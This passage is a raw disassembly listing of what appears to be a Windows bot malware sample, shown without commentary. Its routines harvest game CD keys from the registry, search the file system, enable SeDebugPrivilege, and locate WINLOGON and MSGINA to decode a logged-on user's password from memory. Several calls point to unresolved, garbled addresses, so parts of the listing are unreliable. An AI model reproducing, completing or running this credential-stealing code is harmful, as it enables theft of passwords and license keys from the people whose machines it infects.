; ---------------------------------------------------------------------------
loc_408A92: ; CODE XREF: sub_4089E7+96j
mov [ebp+arg_4], ebx
loc_408A95: ; CODE XREF: sub_4089E7+A9j
push [ebp+arg_4]
call sub_417B89
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_408A48
push [ebp+arg_4]
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_408ABC
push 1
pop ebx
jmp loc_408C18
; ---------------------------------------------------------------------------
loc_408ABC: ; CODE XREF: sub_4089E7+CBj
push edi
call dword_43AD38
test eax, eax
jz short loc_408AD9
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_43ADF4
loc_408AD9: ; CODE XREF: sub_4089E7+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_417390
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_408AF4
mov ecx, 0A0h
loc_408AF4: ; CODE XREF: sub_4089E7+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_408AFE
push 78h
pop eax
loc_408AFE: ; CODE XREF: sub_4089E7+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_43AD38
test eax, eax
jz short loc_408B43
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_43ADF4
loc_408B43: ; CODE XREF: sub_4089E7+14Aj
push edi
call dword_43AD38
test eax, eax
jz short loc_408B60
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_43ADF4
loc_408B60: ; CODE XREF: sub_4089E7+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_43AD38
test eax, eax
jz short loc_408B9E
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_43ADF4
loc_408B9E: ; CODE XREF: sub_4089E7+1A3j
push edi
call dword_43AD38
test eax, eax
jz short loc_408BB9
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_43ADF4
loc_408BB9: ; CODE XREF: sub_4089E7+1C0j
push edi
call dword_43AD38
test eax, eax
jz short loc_408BD2
push ebx
push ebx
push 43Eh
push edi
call dword_43ADF4
loc_408BD2: ; CODE XREF: sub_4089E7+1DBj
push edi
call dword_43AD38
test eax, eax
jz short loc_408BEF
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_43ADF4
loc_408BEF: ; CODE XREF: sub_4089E7+1F4j
push [ebp+var_4]
call sub_417C3B
push esi
call sub_417C3B
pop ecx
pop ecx
push edi
call dword_43AD38
test eax, eax
jz short loc_408C18
push ebx
push ebx
push 40Bh
push edi
call dword_43ADF4
loc_408C18: ; CODE XREF: sub_4089E7+63j
; sub_4089E7+D0j ...
push edi
call dword_43AE48
mov eax, ebx
loc_408C21: ; CODE XREF: sub_4089E7+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4089E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_42B894, ebx
mov [ebp+var_C], 80h
jz loc_408DC7
push esi
push edi
mov eax, offset off_42B894
mov esi, offset dword_42B8A0
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408C56: ; CODE XREF: sub_408C26+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_43AE08
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_43ACA4
test eax, eax
jnz loc_408DAD
mov eax, [esi]
cmp eax, ebx
jz loc_408D71
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4172B0
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_4179A8
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_408DAD
push eax
loc_408CCF: ; CODE XREF: sub_408C26+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41900C
add esp, 0Ch
test eax, eax
jz loc_408D66
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_408CFC
push [ebp+var_8]
jmp short loc_408CCF
; ---------------------------------------------------------------------------
loc_408CFC: ; CODE XREF: sub_408C26+CFj
push 3Dh
push dword ptr [esi+4]
call sub_418F50
pop ecx
test eax, eax
pop ecx
jz short loc_408D2A
lea eax, [ebp+var_70]
push offset asc_42CA98 ; "="
push eax
call sub_418B6E
push offset asc_42CA98 ; "="
push ebx
call sub_418B6E
add esp, 10h
jmp short loc_408D2D
; ---------------------------------------------------------------------------
loc_408D2A: ; CODE XREF: sub_408C26+E4j
lea eax, [ebp+var_70]
loc_408D2D: ; CODE XREF: sub_408C26+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_2F0]
push eax
call sub_40BF6D
add esp, 18h
loc_408D66: ; CODE XREF: sub_408C26+B9j
push [ebp+var_8]
call sub_417900
pop ecx
jmp short loc_408DAD
; ---------------------------------------------------------------------------
loc_408D71: ; CODE XREF: sub_408C26+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_2F0]
push eax
call sub_40BF6D
add esp, 28h
loc_408DAD: ; CODE XREF: sub_408C26+60j
; sub_408C26+A2j ...
push [ebp+var_4]
call dword_43AD74
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_408C56
pop edi
pop esi
loc_408DC7: ; CODE XREF: sub_408C26+19j
pop ebx
leave
retn
sub_408C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408DCA proc near ; DATA XREF: sub_40EE72+3D60o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_417AB0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_408E1F
lea eax, [ebp+var_114]
push eax
call sub_417AB0
pop ecx
mov [ebp+eax+var_115], bl
loc_408E1F: ; CODE XREF: sub_408DCA+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_42CAEC
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41782A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_408E64
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40D679
add esp, 14h
loc_408E64: ; CODE XREF: sub_408DCA+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_408EE5
add esp, 18h
push eax
lea eax, [ebp+var_49C]
push offset unk_42CABC
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_408EC5
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40D679
add esp, 14h
loc_408EC5: ; CODE XREF: sub_408DCA+D9j
lea eax, [ebp+var_49C]
push eax
call sub_40BF6D
push [ebp+var_10]
call sub_417078
pop ecx
pop ecx
push ebx
nop
call near ptr 261031Eh
pop edi
pop esi
pop ebx
sub_408DCA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p
; sub_408EE5+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_41782A
mov edi, dword_4240BC
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_408FA2
loc_408F31: ; CODE XREF: sub_408EE5+BBj
test [ebp+var_144], 10h
jz short loc_408F8E
cmp [ebp+var_118], 2Eh
jnz short loc_408F55
cmp [ebp+var_117], 0
jz short loc_408F8E
cmp [ebp+var_117], 2Eh
jz short loc_408F8E
loc_408F55: ; CODE XREF: sub_408EE5+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41782A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EE5
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408F8E: ; CODE XREF: sub_408EE5+53j
; sub_408EE5+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
nop
call near ptr 26C0000h
test eax, eax
jnz short loc_408F31
loc_408FA2: ; CODE XREF: sub_408EE5+4Aj
push [ebp+var_4]
call near ptr 26A03DDh
nop
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41782A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_409028
loc_408FD9: ; CODE XREF: sub_408EE5+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_41782A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call near ptr 26C0000h
nop
test eax, eax
jnz short loc_408FD9
loc_409028: ; CODE XREF: sub_408EE5+F2j
push esi
nop
call near ptr 26A03DDh
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_408EE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409037 proc near ; DATA XREF: sub_40EE72+5237o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_40B78A
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_409076
cmp eax, 2
jz short loc_409076
push offset unk_42CD60
jmp loc_4091B5
; ---------------------------------------------------------------------------
loc_409076: ; CODE XREF: sub_409037+2Ej
; sub_409037+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41511F
pop ecx
test eax, eax
pop ecx
jz loc_4091B0
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
nop
call near ptr 26F072Bh
mov esi, dword_4240DC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_43AA44, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_43AA38, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_43AC48, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_43AA40, eax
call esi
mov dword_43AA3C, eax
call sub_409209
test eax, eax
mov [ebp+arg_0], eax
jz loc_409183
mov esi, dword_4240D8
mov edi, 400h
mov ebx, offset dword_439A38
push edi
push ebx
push offset off_42CC9C
call esi
push edi
mov edi, offset dword_43A238
push edi
push offset off_42CC84
call esi
cmp [ebp+var_4], 1
push offset dword_43AC50
push [ebp+arg_0]
jnz short loc_40912F
call sub_409392
jmp short loc_409134
; ---------------------------------------------------------------------------
loc_40912F: ; CODE XREF: sub_409037+EFj
call sub_409539
loc_409134: ; CODE XREF: sub_409037+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_40917C
cmp dword_43AC50, 0
jnz short loc_409163
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_42CC0C
push 200h
push eax
call sub_41782A
add esp, 18h
jmp short loc_409196
; ---------------------------------------------------------------------------
loc_409163: ; CODE XREF: sub_409037+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_409173
call sub_40966F
jmp short loc_409178
; ---------------------------------------------------------------------------
loc_409173: ; CODE XREF: sub_409037+133j
call sub_409706
loc_409178: ; CODE XREF: sub_409037+13Aj
pop ecx
push eax
jmp short loc_409188
; ---------------------------------------------------------------------------
loc_40917C: ; CODE XREF: sub_409037+101j
push offset unk_42CBC4
jmp short loc_409188
; ---------------------------------------------------------------------------
loc_409183: ; CODE XREF: sub_409037+B6j
push offset unk_42CB80
loc_409188: ; CODE XREF: sub_409037+143j
; sub_409037+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_409196: ; CODE XREF: sub_409037+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41511F
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 26E06B3h
pop ebx
jmp short loc_4091C3
; ---------------------------------------------------------------------------
loc_4091B0: ; CODE XREF: sub_409037+4Ej
push offset unk_42CB3C
loc_4091B5: ; CODE XREF: sub_409037+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4091C3: ; CODE XREF: sub_409037+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4091EA
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_40D679
add esp, 14h
loc_4091EA: ; CODE XREF: sub_409037+191j
lea eax, [ebp+var_29C]
push eax
call sub_40BF6D
push [ebp+var_18]
call sub_417078
pop ecx
pop ecx
push esi
call near ptr 261031Eh
nop
pop edi
pop esi
sub_409037 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_409209 proc near ; CODE XREF: sub_409037+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_4240EC
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_4240E8
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_43AA44
push ebp
push 0
call esi
push eax
nop
call near ptr 2700000h
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_43AA44
test eax, eax
jnz short loc_4092F6
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4092F6
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4092F6
loc_409292: ; CODE XREF: sub_409209+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4092E9
push 0
push 0
call dword_43AA38
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_43AC48
test eax, eax
jnz short loc_4092DA
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_419063
pop ecx
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_40930E
loc_4092DA: ; CODE XREF: sub_409209+AAj
test edi, edi
jz short loc_4092E5
push edi
call dword_43AA40
loc_4092E5: ; CODE XREF: sub_409209+D3j
mov eax, [esp+28h+var_10]
loc_4092E9: ; CODE XREF: sub_409209+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_409292
loc_4092F6: ; CODE XREF: sub_409209+6Dj
; sub_409209+7Aj ...
xor edi, edi
loc_4092F8: ; CODE XREF: sub_409209+17Dj
push ebp
push 0
call esi
push eax
nop
call near ptr 2700000h
mov eax, edi
loc_409306: ; CODE XREF: sub_409209+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_40930E: ; CODE XREF: sub_409209+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_409377
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_409324: ; CODE XREF: sub_409209+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_419063
pop ecx
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_40938B
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_419063
pop ecx
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jnz short loc_409369
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_409369: ; CODE XREF: sub_409209+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_409324
loc_409377: ; CODE XREF: sub_409209+10Fj
test edi, edi
jz short loc_409382
push edi
call dword_43AA40
loc_409382: ; CODE XREF: sub_409209+170j
mov edi, [esp+28h+var_4]
jmp loc_4092F8
; ---------------------------------------------------------------------------
loc_40938B: ; CODE XREF: sub_409209+13Cj
xor eax, eax
jmp loc_409306
sub_409209 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409392 proc near ; CODE XREF: sub_409037+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 2720807h
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_4093BB
xor eax, eax
jmp loc_409536
; ---------------------------------------------------------------------------
loc_4093BB: ; CODE XREF: sub_409392+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 2720226h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_4240EC
push 8
call esi
mov edi, dword_4240E8
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_4240F4
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_40940B
xor esi, esi
jmp loc_409529
; ---------------------------------------------------------------------------
loc_40940B: ; CODE XREF: sub_409392+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 2710B2Dh
test eax, eax
jz loc_409518
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_409518
test [ebp+var_2B], 1
jnz loc_409518
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_409518
loc_40946E: ; CODE XREF: sub_409392+112j
push edi
push offset dword_439A38
call sub_422A52
pop ecx
test eax, eax
pop ecx
jnz short loc_409496
lea eax, [edi+200h]
push eax
push offset dword_43A238
call sub_422A52
pop ecx
test eax, eax
pop ecx
jz short loc_4094A6
loc_409496: ; CODE XREF: sub_409392+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_409518
jmp short loc_40946E
; ---------------------------------------------------------------------------
loc_4094A6: ; CODE XREF: sub_409392+102j
test edi, edi
jz short loc_409518
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 26B0621h
test eax, eax
jz short loc_4094E1
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call near ptr 26B0000h
nop
test eax, eax
jz short loc_4094E1
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4094E1: ; CODE XREF: sub_409392+12Bj
; sub_409392+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_43AC5C, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_43AC54, eax
mov dword_43AC58, edi
loc_409518: ; CODE XREF: sub_409392+90j
; sub_409392+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 2700000h
mov esi, [ebp+var_10]
loc_409529: ; CODE XREF: sub_409392+74j
push [ebp+var_4]
nop
call near ptr 26408F3h
pop edi
mov eax, esi
pop ebx
loc_409536: ; CODE XREF: sub_409392+24j
pop esi
leave
retn
sub_409392 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 2720807h
test eax, eax
mov [ebp+arg_0], eax
jz loc_40962B
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
nop
call near ptr 2720226h
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_409622
mov edi, dword_4240EC
loc_409584: ; CODE XREF: sub_409539+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 2710B2Dh
test eax, eax
jz short loc_409610
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_409616
test [ebp+var_13], 1
jnz short loc_409616
push ecx
push 8
call edi
push eax
nop
call near ptr 2710000h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
nop
call near ptr 2720000h
test eax, eax
jz short loc_409602
push offset dword_439A38
push esi
call sub_422A52
pop ecx
test eax, eax
pop ecx
jnz short loc_409602
lea eax, [esi+400h]
push offset dword_43A238
push eax
call sub_422A52
pop ecx
test eax, eax
pop ecx
jz short loc_409632
loc_409602: ; CODE XREF: sub_409539+9Fj
; sub_409539+B0j
push esi
push 0
call edi
push eax
nop
call near ptr 2700000h
jmp short loc_409616
; ---------------------------------------------------------------------------
loc_409610: ; CODE XREF: sub_409539+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_409616: ; CODE XREF: sub_409539+71j
; sub_409539+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_409584
loc_409622: ; CODE XREF: sub_409539+3Fj
push [ebp+arg_0]
nop
call near ptr 26408F3h
loc_40962B: ; CODE XREF: sub_409539+1Ej
xor eax, eax
loc_40962D: ; CODE XREF: sub_409539+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_409632: ; CODE XREF: sub_409539+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_43AC54, ebx
mov dword_43AC58, eax
cmp [eax], cl
jnz short loc_409654
cmp [eax+1], cl
jz short loc_40965C
loc_409654: ; CODE XREF: sub_409539+114j
; sub_409539+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_409654
loc_40965C: ; CODE XREF: sub_409539+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 26408F3h
push 1
pop eax
jmp short loc_40962D
sub_409539 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40966F proc near ; CODE XREF: sub_409037+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_43AC50
push esi
mov esi, dword_4240EC
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
nop
call near ptr 2710000h
mov ecx, dword_43AC50
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_43AC58
push eax
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_43AC5C
push eax
call dword_43AA3C
push [ebp+var_4]
mov edi, offset dword_43AA48
push offset dword_439A38
push offset dword_43A238
push [ebp+arg_0]
push offset unk_42CDC0
push 200h
push edi
call sub_41782A
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
nop
call near ptr 2700000h
mov eax, edi
pop edi
pop esi
leave
retn
sub_40966F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_43AC50
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call near ptr 2710ADFh
nop
push eax
nop
call near ptr 2710000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_43A238
mov edi, 200h
mov esi, offset dword_439838
loc_40974C: ; CODE XREF: sub_409706+FAj
mov eax, dword_43AC50
add eax, eax
push eax
push dword_43AC58
push [ebp+var_14]
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_43AA3C
mov eax, dword_43AC50
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4097C1
loc_409789: ; CODE XREF: sub_409706+B3j
cmp [ebp+var_8], 0
jz short loc_4097DE
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_4097AD
cmp byte ptr [ecx+1], 0
jnz short loc_4097AD
cmp dl, 20h
jnb short loc_4097A7
and [ebp+var_8], 0
